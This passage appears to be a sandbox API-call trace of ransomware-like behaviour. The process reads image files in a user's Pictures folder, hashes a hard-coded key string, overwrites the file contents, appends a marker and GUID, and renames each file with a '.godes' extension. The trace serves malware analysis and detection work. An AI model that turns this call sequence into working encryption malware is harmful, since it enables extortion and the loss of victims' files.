hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.544] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0115.544] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.544] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.544] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xedf1, lpOverlapped=0x0) returned 1 [0115.545] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0115.545] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.545] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.545] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740f38) returned 1 [0115.545] CryptCreateHash (in: hProv=0x740f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.545] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.545] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.545] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0115.545] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.545] GetLastError () returned 0x0 [0115.546] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.546] CryptReleaseContext (hProv=0x740f38, dwFlags=0x0) returned 1 [0115.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0115.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xedf0) returned 0x3325120 [0115.546] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0115.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.546] WriteFile (in: hFile=0x624, lpBuffer=0x3325120*, nNumberOfBytesToWrite=0xedec, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3325120*, lpNumberOfBytesWritten=0x3b2fb24*=0xedec, lpOverlapped=0x0) returned 1 [0115.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3325120 | out: hHeap=0x660000) returned 1 [0115.546] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xedf1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0115.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0115.546] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0115.546] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0115.547] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0115.547] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0115.547] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.547] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.547] CloseHandle (hObject=0x624) returned 1 [0115.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.548] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8f0) returned 0x331e748 [0115.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.548] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\4bEPE_RVfAAsyMzt6.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\m-hu89hh2q0kw3mdua\\4bepe_rvfaasymzt6.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\4bEPE_RVfAAsyMzt6.bmp.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\m-hu89hh2q0kw3mdua\\4bepe_rvfaasymzt6.bmp.godes")) returned 1 [0115.548] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.548] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32419d0 | out: hHeap=0x660000) returned 1 [0115.549] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c3f120, ftCreationTime.dwHighDateTime=0x1d4c61d, ftLastAccessTime.dwLowDateTime=0x64b436b0, ftLastAccessTime.dwHighDateTime=0x1d4d419, ftLastWriteTime.dwLowDateTime=0x64b436b0, ftLastWriteTime.dwHighDateTime=0x1d4d419, nFileSizeHigh=0x0, nFileSizeLow=0x12779, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9uanRu7vegqQifTY.jpg", cAlternateFileName="9UANRU~1.JPG")) returned 1 [0115.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.549] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11e) returned 0x32419d0 [0115.549] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.549] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\9uanRu7vegqQifTY.jpg") returned=".jpg" [0115.549] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\9uanRu7vegqQifTY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\m-hu89hh2q0kw3mdua\\9uanru7vegqqifty.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.550] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=75641) returned 1 [0115.550] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.551] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12753, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.551] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.553] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0115.553] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.553] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.553] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x12779, lpOverlapped=0x0) returned 1 [0115.554] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.554] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0115.554] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.554] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.554] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740f38) returned 1 [0115.555] CryptCreateHash (in: hProv=0x740f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.555] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.555] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0115.555] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.555] GetLastError () returned 0x0 [0115.555] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.555] CryptReleaseContext (hProv=0x740f38, dwFlags=0x0) returned 1 [0115.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0115.555] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x12780) returned 0x3325120 [0115.555] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0115.555] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.555] WriteFile (in: hFile=0x624, lpBuffer=0x3325120*, nNumberOfBytesToWrite=0x12774, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3325120*, lpNumberOfBytesWritten=0x3b2fb24*=0x12774, lpOverlapped=0x0) returned 1 [0115.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3325120 | out: hHeap=0x660000) returned 1 [0115.556] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12779, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0115.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0115.556] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0115.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0115.556] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0115.556] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0115.556] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.556] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.556] CloseHandle (hObject=0x624) returned 1 [0115.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe0) returned 0x329fab0 [0115.557] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8f0) returned 0x331e748 [0115.557] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x329fab0 | out: hHeap=0x660000) returned 1 [0115.557] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\9uanRu7vegqQifTY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\m-hu89hh2q0kw3mdua\\9uanru7vegqqifty.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\9uanRu7vegqQifTY.jpg.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\m-hu89hh2q0kw3mdua\\9uanru7vegqqifty.jpg.godes")) returned 1 [0115.558] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.558] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32419d0 | out: hHeap=0x660000) returned 1 [0115.559] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce795a0, ftCreationTime.dwHighDateTime=0x1d4ca84, ftLastAccessTime.dwLowDateTime=0x929c6650, ftLastAccessTime.dwHighDateTime=0x1d4d235, ftLastWriteTime.dwLowDateTime=0x929c6650, ftLastWriteTime.dwHighDateTime=0x1d4d235, nFileSizeHigh=0x0, nFileSizeLow=0x15b19, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VqBAzwGqo.bmp", cAlternateFileName="VQBAZW~1.BMP")) returned 1 [0115.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x3251b48 [0115.559] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11e) returned 0x32419d0 [0115.559] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251b48 | out: hHeap=0x660000) returned 1 [0115.559] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\VqBAzwGqo.bmp") returned=".bmp" [0115.559] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\VqBAzwGqo.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\m-hu89hh2q0kw3mdua\\vqbazwgqo.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.559] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=88857) returned 1 [0115.559] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.561] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15af3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.561] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.562] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0115.562] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.562] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.563] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x15b19, lpOverlapped=0x0) returned 1 [0115.564] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0115.564] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.564] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0115.564] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740f38) returned 1 [0115.564] CryptCreateHash (in: hProv=0x740f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0115.564] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0115.564] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0115.564] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0115.564] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0115.564] GetLastError () returned 0x0 [0115.565] CryptDestroyHash (hHash=0x32a6888) returned 1 [0115.565] CryptReleaseContext (hProv=0x740f38, dwFlags=0x0) returned 1 [0115.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0115.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x15b20) returned 0x3325120 [0115.565] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0115.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0115.565] WriteFile (in: hFile=0x624, lpBuffer=0x3325120*, nNumberOfBytesToWrite=0x15b14, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3325120*, lpNumberOfBytesWritten=0x3b2fb24*=0x15b14, lpOverlapped=0x0) returned 1 [0115.565] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3325120 | out: hHeap=0x660000) returned 1 [0115.565] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15b19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.565] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0115.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0115.566] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0115.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0115.566] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0115.566] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0115.566] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0115.566] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0115.566] CloseHandle (hObject=0x624) returned 1 [0115.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd0) returned 0x3236620 [0115.567] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8e0) returned 0x331e748 [0115.567] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3236620 | out: hHeap=0x660000) returned 1 [0115.567] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\VqBAzwGqo.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\m-hu89hh2q0kw3mdua\\vqbazwgqo.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\M-hu89hh2q0KW3MDUa\\VqBAzwGqo.bmp.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\m-hu89hh2q0kw3mdua\\vqbazwgqo.bmp.godes")) returned 1 [0115.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0115.568] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0115.568] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32419d0 | out: hHeap=0x660000) returned 1 [0115.568] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce795a0, ftCreationTime.dwHighDateTime=0x1d4ca84, ftLastAccessTime.dwLowDateTime=0x929c6650, ftLastAccessTime.dwHighDateTime=0x1d4d235, ftLastWriteTime.dwLowDateTime=0x929c6650, ftLastWriteTime.dwHighDateTime=0x1d4d235, nFileSizeHigh=0x0, nFileSizeLow=0x15b19, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VqBAzwGqo.bmp", cAlternateFileName="VQBAZW~1.BMP")) returned 0 [0115.569] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0115.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3251c10 | out: hHeap=0x660000) returned 1 [0115.569] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ecb8 [0115.569] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.569] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.569] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\Ti8zEuhb9G6\\") returned="Ti8zEuhb9G6\\" [0115.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\") returned="xGbG96m2n\\" [0115.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\") returned="Se5hmDr0IOl8\\" [0115.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\") returned="X7bnh_OS\\" [0115.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0115.569] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.569] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.569] HeapFree 